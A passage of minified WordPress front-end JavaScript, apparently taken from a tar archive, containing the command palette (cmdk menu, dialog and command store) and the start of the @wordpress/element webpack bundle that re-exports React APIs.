\`${t}\``)}]},S(r,...t)]}(at),[it,lt]=ct(at),st=e=>{const{__scopeDialog:t,children:n,open:r,defaultOpen:o,onOpenChange:a,modal:c=!0}=e,u=(0,b.useRef)(null),i=(0,b.useRef)(null),[l=!1,s]=N({prop:r,defaultProp:o,onChange:a});return(0,b.createElement)(it,{scope:t,triggerRef:u,contentRef:i,contentId:k(),titleId:k(),descriptionId:k(),open:l,onOpenChange:s,onOpenToggle:(0,b.useCallback)((()=>s((e=>!e))),[s]),modal:c},n)},dt="DialogPortal",[ft,mt]=ct(dt,{forceMount:void 0}),vt=e=>{const{__scopeDialog:t,forceMount:n,children:r,container:o}=e,a=lt(dt,t);return(0,b.createElement)(ft,{scope:t,forceMount:n},b.Children.map(r,(e=>(0,b.createElement)(ne,{present:n||a.open},(0,b.createElement)(te,{asChild:!0,container:o},e)))))},pt="DialogOverlay",ht=(0,b.forwardRef)(((e,t)=>{const n=mt(pt,e.__scopeDialog),{forceMount:r=n.forceMount,...o}=e,a=lt(pt,e.__scopeDialog);return a.modal?(0,b.createElement)(ne,{present:r||a.open},(0,b.createElement)(gt,g({},o,{ref:t}))):null})),gt=(0,b.forwardRef)(((e,t)=>{const{__scopeDialog:n,...r}=e,o=lt(pt,n);return(0,b.createElement)(Ye,{as:M,allowPinchZoom:!0,shards:[o.contentRef]},(0,b.createElement)(I.div,g({"data-state":xt(o.open)},r,{ref:t,style:{pointerEvents:"auto",...r.style}})))})),bt="DialogContent",Et=(0,b.forwardRef)(((e,t)=>{const n=mt(bt,e.__scopeDialog),{forceMount:r=n.forceMount,...o}=e,a=lt(bt,e.__scopeDialog);return(0,b.createElement)(ne,{present:r||a.open},a.modal?(0,b.createElement)(yt,g({},o,{ref:t})):(0,b.createElement)(wt,g({},o,{ref:t})))})),yt=(0,b.forwardRef)(((e,t)=>{const n=lt(bt,e.__scopeDialog),r=(0,b.useRef)(null),o=C(t,n.contentRef,r);return(0,b.useEffect)((()=>{const e=r.current;if(e)return ot(e)}),[]),(0,b.createElement)(Ct,g({},e,{ref:o,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:y(e.onCloseAutoFocus,(e=>{var t;e.preventDefault(),null===(t=n.triggerRef.current)||void 0===t||t.focus()})),onPointerDownOutside:y(e.onPointerDownOutside,(e=>{const t=e.detail.originalEvent,n=0===t.button&&!0===t.ctrlKey;(2===t.button||n)&&e.preventDefault()})),onFocusOutside:y(e.onFocusOutside,(e=>e.preventDefault()))}))})),wt=(0,b.forwardRef)(((e,t)=>{const n=lt(bt,e.__scopeDialog),r=(0,b.useRef)(!1),o=(0,b.useRef)(!1);return(0,b.createElement)(Ct,g({},e,{ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:t=>{var a,c;(null===(a=e.onCloseAutoFocus)||void 0===a||a.call(e,t),t.defaultPrevented)||(r.current||null===(c=n.triggerRef.current)||void 0===c||c.focus(),t.preventDefault());r.current=!1,o.current=!1},onInteractOutside:t=>{var a,c;null===(a=e.onInteractOutside)||void 0===a||a.call(e,t),t.defaultPrevented||(r.current=!0,"pointerdown"===t.detail.originalEvent.type&&(o.current=!0));const u=t.target;(null===(c=n.triggerRef.current)||void 0===c?void 0:c.contains(u))&&t.preventDefault(),"focusin"===t.detail.originalEvent.type&&o.current&&t.preventDefault()}}))})),Ct=(0,b.forwardRef)(((e,t)=>{const{__scopeDialog:n,trapFocus:r,onOpenAutoFocus:o,onCloseAutoFocus:a,...c}=e,u=lt(bt,n),i=C(t,(0,b.useRef)(null));return ae(),(0,b.createElement)(b.Fragment,null,(0,b.createElement)(H,{asChild:!0,loop:!0,trapped:r,onMountAutoFocus:o,onUnmountAutoFocus:a},(0,b.createElement)(B,g({role:"dialog",id:u.contentId,"aria-describedby":u.descriptionId,"aria-labelledby":u.titleId,"data-state":xt(u.open)},c,{ref:i,onDismiss:()=>u.onOpenChange(!1)}))),!1)})),St="DialogTitle";function xt(e){return e?"open":"closed"}const Ot="DialogTitleWarning",[Rt,kt]=function(e,t){const n=(0,b.createContext)(t);function r(e){const{children:t,...r}=e,o=(0,b.useMemo)((()=>r),Object.values(r));return(0,b.createElement)(n.Provider,{value:o},t)}return r.displayName=e+"Provider",[r,function(r){const o=(0,b.useContext)(n);if(o)return o;if(void 0!==t)return t;throw new Error(`\`${r}\` must be used within \`${e}\``)}]}(Ot,{contentName:bt,titleName:St,docsSlug:"dialog"}),At=st,Nt=vt,Lt=ht,Mt=Et;var _t='[cmdk-group=""]',Tt='[cmdk-group-items=""]',Dt='[cmdk-item=""]',Pt=`${Dt}:not([aria-disabled="true"])`,It="cmdk-item-select",jt="data-value",Ft=(e,t,n)=>h(e,t,n),Wt=b.createContext(void 0),Ut=()=>b.useContext(Wt),$t=b.createContext(void 0),Bt=()=>b.useContext($t),Kt=b.createContext(void 0),Vt=b.forwardRef(((e,t)=>{let n=on((()=>{var t,n;return{search:"",value:null!=(n=null!=(t=e.value)?t:e.defaultValue)?n:"",filtered:{count:0,items:new Map,groups:new Set}}})),r=on((()=>new Set)),o=on((()=>new Map)),a=on((()=>new Map)),c=on((()=>new Set)),u=nn(e),{label:i,children:l,value:s,onValueChange:d,filter:f,shouldFilter:m,loop:v,disablePointerSelection:p=!1,vimBindings:h=!0,...g}=e,E=b.useId(),y=b.useId(),w=b.useId(),C=b.useRef(null),S=ln();rn((()=>{if(void 0!==s){let e=s.trim();n.current.value=e,x.emit()}}),[s]),rn((()=>{S(6,L)}),[]);let x=b.useMemo((()=>({subscribe:e=>(c.current.add(e),()=>c.current.delete(e)),snapshot:()=>n.current,setState:(e,t,r)=>{var o,a,c;if(!Object.is(n.current[e],t)){if(n.current[e]=t,"search"===e)N(),k(),S(1,A);else if("value"===e&&(r||S(5,L),void 0!==(null==(o=u.current)?void 0:o.value))){let e=null!=t?t:"";return void(null==(c=(a=u.current).onValueChange)||c.call(a,e))}x.emit()}},emit:()=>{c.current.forEach((e=>e()))}})),[]),O=b.useMemo((()=>({value:(e,t,r)=>{var o;t!==(null==(o=a.current.get(e))?void 0:o.value)&&(a.current.set(e,{value:t,keywords:r}),n.current.filtered.items.set(e,R(t,r)),S(2,(()=>{k(),x.emit()})))},item:(e,t)=>(r.current.add(e),t&&(o.current.has(t)?o.current.get(t).add(e):o.current.set(t,new Set([e]))),S(3,(()=>{N(),k(),n.current.value||A(),x.emit()})),()=>{a.current.delete(e),r.current.delete(e),n.current.filtered.items.delete(e);let t=M();S(4,(()=>{N(),(null==t?void 0:t.getAttribute("id"))===e&&A(),x.emit()}))}),group:e=>(o.current.has(e)||o.current.set(e,new Set),()=>{a.current.delete(e),o.current.delete(e)}),filter:()=>u.current.shouldFilter,label:i||e["aria-label"],disablePointerSelection:p,listId:E,inputId:w,labelId:y,listInnerRef:C})),[]);function R(e,t){var r,o;let a=null!=(o=null==(r=u.current)?void 0:r.filter)?o:Ft;return e?a(e,n.current.search,t):0}function k(){if(!n.current.search||!1===u.current.shouldFilter)return;let e=n.current.filtered.items,t=[];n.current.filtered.groups.forEach((n=>{let r=o.current.get(n),a=0;r.forEach((t=>{let n=e.get(t);a=Math.max(n,a)})),t.push([n,a])}));let r=C.current;_().sort(((t,n)=>{var r,o;let a=t.getAttribute("id"),c=n.getAttribute("id");return(null!=(r=e.get(c))?r:0)-(null!=(o=e.get(a))?o:0)})).forEach((e=>{let t=e.closest(Tt);t?t.appendChild(e.parentElement===t?e:e.closest(`${Tt} > *`)):r.appendChild(e.parentElement===r?e:e.closest(`${Tt} > *`))})),t.sort(((e,t)=>t[1]-e[1])).forEach((e=>{let t=C.current.querySelector(`${_t}[${jt}="${encodeURIComponent(e[0])}"]`);null==t||t.parentElement.appendChild(t)}))}function A(){let e=_().find((e=>"true"!==e.getAttribute("aria-disabled"))),t=null==e?void 0:e.getAttribute(jt);x.setState("value",t||void 0)}function N(){var e,t,c,i;if(!n.current.search||!1===u.current.shouldFilter)return void(n.current.filtered.count=r.current.size);n.current.filtered.groups=new Set;let l=0;for(let o of r.current){let r=R(null!=(t=null==(e=a.current.get(o))?void 0:e.value)?t:"",null!=(i=null==(c=a.current.get(o))?void 0:c.keywords)?i:[]);n.current.filtered.items.set(o,r),r>0&&l++}for(let[e,t]of o.current)for(let r of t)if(n.current.filtered.items.get(r)>0){n.current.filtered.groups.add(e);break}n.current.filtered.count=l}function L(){var e,t,n;let r=M();r&&((null==(e=r.parentElement)?void 0:e.firstChild)===r&&(null==(n=null==(t=r.closest(_t))?void 0:t.querySelector('[cmdk-group-heading=""]'))||n.scrollIntoView({block:"nearest"})),r.scrollIntoView({block:"nearest"}))}function M(){var e;return null==(e=C.current)?void 0:e.querySelector(`${Dt}[aria-selected="true"]`)}function _(){var e;return Array.from(null==(e=C.current)?void 0:e.querySelectorAll(Pt))}function T(e){let t=_()[e];t&&x.setState("value",t.getAttribute(jt))}function D(e){var t;let n=M(),r=_(),o=r.findIndex((e=>e===n)),a=r[o+e];null!=(t=u.current)&&t.loop&&(a=o+e<0?r[r.length-1]:o+e===r.length?r[0]:r[o+e]),a&&x.setState("value",a.getAttribute(jt))}function P(e){let t,n=M(),r=null==n?void 0:n.closest(_t);for(;r&&!t;)r=e>0?en(r,_t):tn(r,_t),t=null==r?void 0:r.querySelector(Pt);t?x.setState("value",t.getAttribute(jt)):D(e)}let j=()=>T(_().length-1),F=e=>{e.preventDefault(),e.metaKey?j():e.altKey?P(1):D(1)},W=e=>{e.preventDefault(),e.metaKey?T(0):e.altKey?P(-1):D(-1)};return b.createElement(I.div,{ref:t,tabIndex:-1,...g,"cmdk-root":"",onKeyDown:e=>{var t;if(null==(t=g.onKeyDown)||t.call(g,e),!e.defaultPrevented)switch(e.key){case"n":case"j":h&&e.ctrlKey&&F(e);break;case"ArrowDown":F(e);break;case"p":case"k":h&&e.ctrlKey&&W(e);break;case"ArrowUp":W(e);break;case"Home":e.preventDefault(),T(0);break;case"End":e.preventDefault(),j();break;case"Enter":if(!e.nativeEvent.isComposing&&229!==e.keyCode){e.preventDefault();let t=M();if(t){let e=new Event(It);t.dispatchEvent(e)}}}}},b.createElement("label",{"cmdk-label":"",htmlFor:O.inputId,id:O.labelId,style:dn},i),sn(e,(e=>b.createElement($t.Provider,{value:x},b.createElement(Wt.Provider,{value:O},e)))))})),qt=b.forwardRef(((e,t)=>{var n,r;let o=b.useId(),a=b.useRef(null),c=b.useContext(Kt),u=Ut(),i=nn(e),l=null!=(r=null==(n=i.current)?void 0:n.forceMount)?r:null==c?void 0:c.forceMount;rn((()=>{if(!l)return u.item(o,null==c?void 0:c.id)}),[l]);let s=un(o,a,[e.value,e.children,a],e.keywords),d=Bt(),f=cn((e=>e.value&&e.value===s.current)),m=cn((e=>!(!l&&!1!==u.filter())||(!e.search||e.filtered.items.get(o)>0)));function v(){var e,t;p(),null==(t=(e=i.current).onSelect)||t.call(e,s.current)}function p(){d.setState("value",s.current,!0)}if(b.useEffect((()=>{let t=a.current;if(t&&!e.disabled)return t.addEventListener(It,v),()=>t.removeEventListener(It,v)}),[m,e.onSelect,e.disabled]),!m)return null;let{disabled:h,value:g,onSelect:E,forceMount:y,keywords:w,...C}=e;return b.createElement(I.div,{ref:an([a,t]),...C,id:o,"cmdk-item":"",role:"option","aria-disabled":!!h,"aria-selected":!!f,"data-disabled":!!h,"data-selected":!!f,onPointerMove:h||u.disablePointerSelection?void 0:p,onClick:h?void 0:v},e.children)})),zt=b.forwardRef(((e,t)=>{let{heading:n,children:r,forceMount:o,...a}=e,c=b.useId(),u=b.useRef(null),i=b.useRef(null),l=b.useId(),s=Ut(),d=cn((e=>!(!o&&!1!==s.filter())||(!e.search||e.filtered.groups.has(c))));rn((()=>s.group(c)),[]),un(c,u,[e.value,e.heading,i]);let f=b.useMemo((()=>({id:c,forceMount:o})),[o]);return b.createElement(I.div,{ref:an([u,t]),...a,"cmdk-group":"",role:"presentation",hidden:!d||void 0},n&&b.createElement("div",{ref:i,"cmdk-group-heading":"","aria-hidden":!0,id:l},n),sn(e,(e=>b.createElement("div",{"cmdk-group-items":"",role:"group","aria-labelledby":n?l:void 0},b.createElement(Kt.Provider,{value:f},e)))))})),Gt=b.forwardRef(((e,t)=>{let{alwaysRender:n,...r}=e,o=b.useRef(null),a=cn((e=>!e.search));return n||a?b.createElement(I.div,{ref:an([o,t]),...r,"cmdk-separator":"",role:"separator"}):null})),Ht=b.forwardRef(((e,t)=>{let{onValueChange:n,...r}=e,o=null!=e.value,a=Bt(),c=cn((e=>e.search)),u=cn((e=>e.value)),i=Ut(),l=b.useMemo((()=>{var e;let t=null==(e=i.listInnerRef.current)?void 0:e.querySelector(`${Dt}[${jt}="${encodeURIComponent(u)}"]`);return null==t?void 0:t.getAttribute("id")}),[]);return b.useEffect((()=>{null!=e.value&&a.setState("search",e.value)}),[e.value]),b.createElement(I.input,{ref:t,...r,"cmdk-input":"",autoComplete:"off",autoCorrect:"off",spellCheck:!1,"aria-autocomplete":"list",role:"combobox","aria-expanded":!0,"aria-controls":i.listId,"aria-labelledby":i.labelId,"aria-activedescendant":l,id:i.inputId,type:"text",value:o?e.value:c,onChange:e=>{o||a.setState("search",e.target.value),null==n||n(e.target.value)}})})),Xt=b.forwardRef(((e,t)=>{let{children:n,label:r="Suggestions",...o}=e,a=b.useRef(null),c=b.useRef(null),u=Ut();return b.useEffect((()=>{if(c.current&&a.current){let e,t=c.current,n=a.current,r=new ResizeObserver((()=>{e=requestAnimationFrame((()=>{let e=t.offsetHeight;n.style.setProperty("--cmdk-list-height",e.toFixed(1)+"px")}))}));return r.observe(t),()=>{cancelAnimationFrame(e),r.unobserve(t)}}}),[]),b.createElement(I.div,{ref:an([a,t]),...o,"cmdk-list":"",role:"listbox","aria-label":r,id:u.listId},sn(e,(e=>b.createElement("div",{ref:an([c,u.listInnerRef]),"cmdk-list-sizer":""},e))))})),Yt=b.forwardRef(((e,t)=>{let{open:n,onOpenChange:r,overlayClassName:o,contentClassName:a,container:c,...u}=e;return b.createElement(At,{open:n,onOpenChange:r},b.createElement(Nt,{container:c},b.createElement(Lt,{"cmdk-overlay":"",className:o}),b.createElement(Mt,{"aria-label":e.label,"cmdk-dialog":"",className:a},b.createElement(Vt,{ref:t,...u}))))})),Zt=b.forwardRef(((e,t)=>cn((e=>0===e.filtered.count))?b.createElement(I.div,{ref:t,...e,"cmdk-empty":"",role:"presentation"}):null)),Jt=b.forwardRef(((e,t)=>{let{progress:n,children:r,label:o="Loading...",...a}=e;return b.createElement(I.div,{ref:t,...a,"cmdk-loading":"",role:"progressbar","aria-valuenow":n,"aria-valuemin":0,"aria-valuemax":100,"aria-label":o},sn(e,(e=>b.createElement("div",{"aria-hidden":!0},e))))})),Qt=Object.assign(Vt,{List:Xt,Item:qt,Input:Ht,Group:zt,Separator:Gt,Dialog:Yt,Empty:Zt,Loading:Jt});function en(e,t){let n=e.nextElementSibling;for(;n;){if(n.matches(t))return n;n=n.nextElementSibling}}function tn(e,t){let n=e.previousElementSibling;for(;n;){if(n.matches(t))return n;n=n.previousElementSibling}}function nn(e){let t=b.useRef(e);return rn((()=>{t.current=e})),t}var rn="undefined"==typeof window?b.useEffect:b.useLayoutEffect;function on(e){let t=b.useRef();return void 0===t.current&&(t.current=e()),t}function an(e){return t=>{e.forEach((e=>{"function"==typeof e?e(t):null!=e&&(e.current=t)}))}}function cn(e){let t=Bt(),n=()=>e(t.snapshot());return b.useSyncExternalStore(t.subscribe,n,n)}function un(e,t,n,r=[]){let o=b.useRef(),a=Ut();return rn((()=>{var c;let u=(()=>{var e;for(let t of n){if("string"==typeof t)return t.trim();if("object"==typeof t&&"current"in t)return t.current?null==(e=t.current.textContent)?void 0:e.trim():o.current}})(),i=r.map((e=>e.trim()));a.value(e,u,i),null==(c=t.current)||c.setAttribute(jt,u),o.current=u})),o}var ln=()=>{let[e,t]=b.useState(),n=on((()=>new Map));return rn((()=>{n.current.forEach((e=>e())),n.current=new Map}),[e]),(e,r)=>{n.current.set(e,r),t({})}};function sn({asChild:e,children:t},n){return e&&b.isValidElement(t)?b.cloneElement(function(e){let t=e.type;return"function"==typeof t?t(e.props):"render"in t?t.render(e.props):e}(t),{ref:t.ref},n(t.props.children)):n(t)}var dn={position:"absolute",width:"1px",height:"1px",padding:"0",margin:"-1px",overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0"};function fn(e){var t,n,r="";if("string"==typeof e||"number"==typeof e)r+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(n=fn(e[t]))&&(r&&(r+=" "),r+=n)}else for(n in e)e[n]&&(r&&(r+=" "),r+=n);return r}const mn=function(){for(var e,t,n=0,r="",o=arguments.length;n<o;n++)(e=arguments[n])&&(t=fn(e))&&(r&&(r+=" "),r+=t);return r},vn=window.wp.data,pn=window.wp.element,hn=window.wp.i18n,gn=window.wp.components,bn=window.wp.keyboardShortcuts;const En=(0,pn.forwardRef)((function({icon:e,size:t=24,...n},r){return(0,pn.cloneElement)(e,{width:t,height:t,...n,ref:r})})),yn=window.wp.primitives,wn=window.ReactJSXRuntime,Cn=(0,wn.jsx)(yn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,wn.jsx)(yn.Path,{d:"M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"})});const Sn=(0,vn.combineReducers)({commands:function(e={},t){switch(t.type){case"REGISTER_COMMAND":return{...e,[t.name]:{name:t.name,label:t.label,searchLabel:t.searchLabel,context:t.context,callback:t.callback,icon:t.icon}};case"UNREGISTER_COMMAND":{const{[t.name]:n,...r}=e;return r}}return e},commandLoaders:function(e={},t){switch(t.type){case"REGISTER_COMMAND_LOADER":return{...e,[t.name]:{name:t.name,context:t.context,hook:t.hook}};case"UNREGISTER_COMMAND_LOADER":{const{[t.name]:n,...r}=e;return r}}return e},isOpen:function(e=!1,t){switch(t.type){case"OPEN":return!0;case"CLOSE":return!1}return e},context:function(e="root",t){return"SET_CONTEXT"===t.type?t.context:e}});function xn(e){return{type:"REGISTER_COMMAND",...e}}function On(e){return{type:"UNREGISTER_COMMAND",name:e}}function Rn(e){return{type:"REGISTER_COMMAND_LOADER",...e}}function kn(e){return{type:"UNREGISTER_COMMAND_LOADER",name:e}}function An(){return{type:"OPEN"}}function Nn(){return{type:"CLOSE"}}const Ln=(0,vn.createSelector)(((e,t=!1)=>Object.values(e.commands).filter((n=>{const r=n.context&&n.context===e.context;return t?r:!r}))),(e=>[e.commands,e.context])),Mn=(0,vn.createSelector)(((e,t=!1)=>Object.values(e.commandLoaders).filter((n=>{const r=n.context&&n.context===e.context;return t?r:!r}))),(e=>[e.commandLoaders,e.context]));function _n(e){return e.isOpen}function Tn(e){return e.context}function Dn(e){return{type:"SET_CONTEXT",context:e}}const Pn=window.wp.privateApis,{lock:In,unlock:jn}=(0,Pn.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/commands"),Fn=(0,vn.createReduxStore)("core/commands",{reducer:Sn,actions:c,selectors:u});(0,vn.register)(Fn),jn(Fn).registerPrivateActions(i);const Wn=(0,hn.__)("Search commands and settings");function Un({name:e,search:t,hook:n,setLoader:r,close:o}){var a;const{isLoading:c,commands:u=[]}=null!==(a=n({search:t}))&&void 0!==a?a:{};return(0,pn.useEffect)((()=>{r(e,c)}),[r,e,c]),u.length?(0,wn.jsx)(wn.Fragment,{children:u.map((e=>{var n;return(0,wn.jsx)(Qt.Item,{value:null!==(n=e.searchLabel)&&void 0!==n?n:e.label,onSelect:()=>e.callback({close:o}),id:e.name,children:(0,wn.jsxs)(gn.__experimentalHStack,{alignment:"left",className:mn("commands-command-menu__item",{"has-icon":e.icon}),children:[e.icon&&(0,wn.jsx)(En,{icon:e.icon}),(0,wn.jsx)("span",{children:(0,wn.jsx)(gn.TextHighlight,{text:e.label,highlight:t})})]})},e.name)}))}):null}function $n({hook:e,search:t,setLoader:n,close:r}){const o=(0,pn.useRef)(e),[a,c]=(0,pn.useState)(0);return(0,pn.useEffect)((()=>{o.current!==e&&(o.current=e,c((e=>e+1)))}),[e]),(0,wn.jsx)(Un,{hook:o.current,search:t,setLoader:n,close:r},a)}function Bn({isContextual:e,search:t,setLoader:n,close:r}){const{commands:o,loaders:a}=(0,vn.useSelect)((t=>{const{getCommands:n,getCommandLoaders:r}=t(Fn);return{commands:n(e),loaders:r(e)}}),[e]);return o.length||a.length?(0,wn.jsxs)(Qt.Group,{children:[o.map((e=>{var n;return(0,wn.jsx)(Qt.Item,{value:null!==(n=e.searchLabel)&&void 0!==n?n:e.label,onSelect:()=>e.callback({close:r}),id:e.name,children:(0,wn.jsxs)(gn.__experimentalHStack,{alignment:"left",className:mn("commands-command-menu__item",{"has-icon":e.icon}),children:[e.icon&&(0,wn.jsx)(En,{icon:e.icon}),(0,wn.jsx)("span",{children:(0,wn.jsx)(gn.TextHighlight,{text:e.label,highlight:t})})]})},e.name)})),a.map((e=>(0,wn.jsx)($n,{hook:e.hook,search:t,setLoader:n,close:r},e.name)))]}):null}function Kn({isOpen:e,search:t,setSearch:n}){const r=(0,pn.useRef)(),o=cn((e=>e.value)),a=(0,pn.useMemo)((()=>{const e=document.querySelector(`[cmdk-item=""][data-value="${o}"]`);return e?.getAttribute("id")}),[o]);return(0,pn.useEffect)((()=>{e&&r.current.focus()}),[e]),(0,wn.jsx)(Qt.Input,{ref:r,value:t,onValueChange:n,placeholder:Wn,"aria-activedescendant":a,icon:t})}function Vn(){const{registerShortcut:e}=(0,vn.useDispatch)(bn.store),[t,n]=(0,pn.useState)(""),r=(0,vn.useSelect)((e=>e(Fn).isOpen()),[]),{open:o,close:a}=(0,vn.useDispatch)(Fn),[c,u]=(0,pn.useState)({});(0,pn.useEffect)((()=>{e({name:"core/commands",category:"global",description:(0,hn.__)("Open the command palette."),keyCombination:{modifier:"primary",character:"k"}})}),[e]),(0,bn.useShortcut)("core/commands",(e=>{e.defaultPrevented||(e.preventDefault(),r?a():o())}),{bindGlobal:!0});const i=(0,pn.useCallback)(((e,t)=>u((n=>({...n,[e]:t})))),[]),l=()=>{n(""),a()};if(!r)return!1;const s=Object.values(c).some(Boolean);return(0,wn.jsx)(gn.Modal,{className:"commands-command-menu",overlayClassName:"commands-command-menu__overlay",onRequestClose:l,__experimentalHideHeader:!0,contentLabel:(0,hn.__)("Command palette"),children:(0,wn.jsx)("div",{className:"commands-command-menu__container",children:(0,wn.jsxs)(Qt,{label:Wn,onKeyDown:e=>{(e.nativeEvent.isComposing||229===e.keyCode)&&e.preventDefault()},children:[(0,wn.jsxs)("div",{className:"commands-command-menu__header",children:[(0,wn.jsx)(Kn,{search:t,setSearch:n,isOpen:r}),(0,wn.jsx)(En,{icon:Cn})]}),(0,wn.jsxs)(Qt.List,{label:(0,hn.__)("Command suggestions"),children:[t&&!s&&(0,wn.jsx)(Qt.Empty,{children:(0,hn.__)("No results found.")}),(0,wn.jsx)(Bn,{search:t,setLoader:i,close:l,isContextual:!0}),t&&(0,wn.jsx)(Bn,{search:t,setLoader:i,close:l})]})]})})})}const qn={};function zn(e){const{registerCommand:t,unregisterCommand:n}=(0,vn.useDispatch)(Fn),r=(0,pn.useRef)(e.callback);(0,pn.useEffect)((()=>{r.current=e.callback}),[e.callback]),(0,pn.useEffect)((()=>{if(!e.disabled)return t({name:e.name,context:e.context,label:e.label,searchLabel:e.searchLabel,icon:e.icon,callback:(...e)=>r.current(...e)}),()=>{n(e.name)}}),[e.name,e.label,e.searchLabel,e.icon,e.context,e.disabled,t,n])}function Gn(e){const{registerCommandLoader:t,unregisterCommandLoader:n}=(0,vn.useDispatch)(Fn);(0,pn.useEffect)((()=>{if(!e.disabled)return t({name:e.name,hook:e.hook,context:e.context}),()=>{n(e.name)}}),[e.name,e.hook,e.context,e.disabled,t,n])}In(qn,{useCommandContext:function(e){const{getContext:t}=(0,vn.useSelect)(Fn),n=(0,pn.useRef)(t()),{setContext:r}=jn((0,vn.useDispatch)(Fn));(0,pn.useEffect)((()=>{r(e)}),[e,r]),(0,pn.useEffect)((()=>{const e=n.current;return()=>r(e)}),[r])}}),(window.wp=window.wp||{}).commands=a})(); element.js 0000664 00000205042 15061233506 0006541 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ var __webpack_modules__ = ({ /***/ 4140: /***/ ((__unused_webpack_module, exports, __webpack_require__) => { var m = __webpack_require__(5795); if (true) { exports.H = m.createRoot; exports.c = m.hydrateRoot; } else { var i; } /***/ }), /***/ 5795: /***/ ((module) => { module.exports = window["ReactDOM"]; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { Children: () => (/* reexport */ external_React_namespaceObject.Children), Component: () => (/* reexport */ external_React_namespaceObject.Component), Fragment: () => (/* reexport */ external_React_namespaceObject.Fragment), Platform: () => (/* reexport */ platform), PureComponent: () => (/* reexport */ external_React_namespaceObject.PureComponent), RawHTML: () => (/* reexport */ RawHTML), StrictMode: () => (/* reexport */ external_React_namespaceObject.StrictMode), Suspense: () => (/* reexport */ external_React_namespaceObject.Suspense), cloneElement: () => (/* reexport */ external_React_namespaceObject.cloneElement), concatChildren: () => (/* reexport */ concatChildren), createContext: () => (/* reexport */ external_React_namespaceObject.createContext), createElement: () => (/* reexport */ external_React_namespaceObject.createElement), createInterpolateElement: () => (/* reexport */ create_interpolate_element), createPortal: () => (/* reexport */ external_ReactDOM_.createPortal), createRef: () => (/* reexport */ external_React_namespaceObject.createRef), createRoot: () => (/* reexport */ client/* createRoot */.H), findDOMNode: () => (/* reexport */ external_ReactDOM_.findDOMNode), flushSync: () => (/* reexport */ external_ReactDOM_.flushSync), forwardRef: () => (/* reexport */ external_React_namespaceObject.forwardRef), hydrate: () => (/* reexport */ external_ReactDOM_.hydrate), hydrateRoot: () => (/* reexport */ client/* hydrateRoot */.c), isEmptyElement: () => (/* reexport */ isEmptyElement), isValidElement: () => (/* reexport */ external_React_namespaceObject.isValidElement), lazy: () => (/* reexport */ external_React_namespaceObject.lazy), memo: () => (/* reexport */ external_React_namespaceObject.memo), render: () => (/* reexport */ external_ReactDOM_.render), renderToString: () => (/* reexport */ serialize), startTransition: () => (/* reexport */ external_React_namespaceObject.startTransition), switchChildrenNodeName: () => (/* reexport */ switchChildrenNodeName), unmountComponentAtNode: () => (/* reexport */ external_ReactDOM_.unmountComponentAtNode), useCallback: () => (/* reexport */ external_React_namespaceObject.useCallback), useContext: () => (/* reexport */ external_React_namespaceObject.useContext), useDebugValue: () => (/* reexport */ external_React_namespaceObject.useDebugValue), useDeferredValue: () => (/* reexport */ external_React_namespaceObject.useDeferredValue), useEffect: () => (/* reexport */ external_React_namespaceObject.useEffect), useId: () => (/* reexport */ external_React_namespaceObject.useId), useImperativeHandle: () => (/* reexport */ external_React_namespaceObject.useImperativeHandle), useInsertionEffect: () => (/* reexport */ external_React_namespaceObject.useInsertionEffect), useLayoutEffect: () => (/* reexport */ external_React_namespaceObject.useLayoutEffect), useMemo: () => (/* reexport */ external_React_namespaceObject.useMemo), useReducer: () => (/* reexport */ external_React_namespaceObject.useReducer), useRef: () => (/* reexport */ external_React_namespaceObject.useRef), useState: () => (/* reexport */ external_React_namespaceObject.useState), useSyncExternalStore: () => (/* reexport */ external_React_namespaceObject.useSyncExternalStore), useTransition: () => (/* reexport */ external_React_namespaceObject.useTransition) }); ;// external "React" const external_React_namespaceObject = window["React"]; ;// ./node_modules/@wordpress/element/build-module/create-interpolate-element.js /** * Internal dependencies */ /** * Object containing a React element. * * @typedef {import('react').ReactElement} Element */ let indoc, offset, output, stack; /** * Matches tags in the localized string * * This is used for extracting the tag pattern groups for parsing the localized * string and along with the 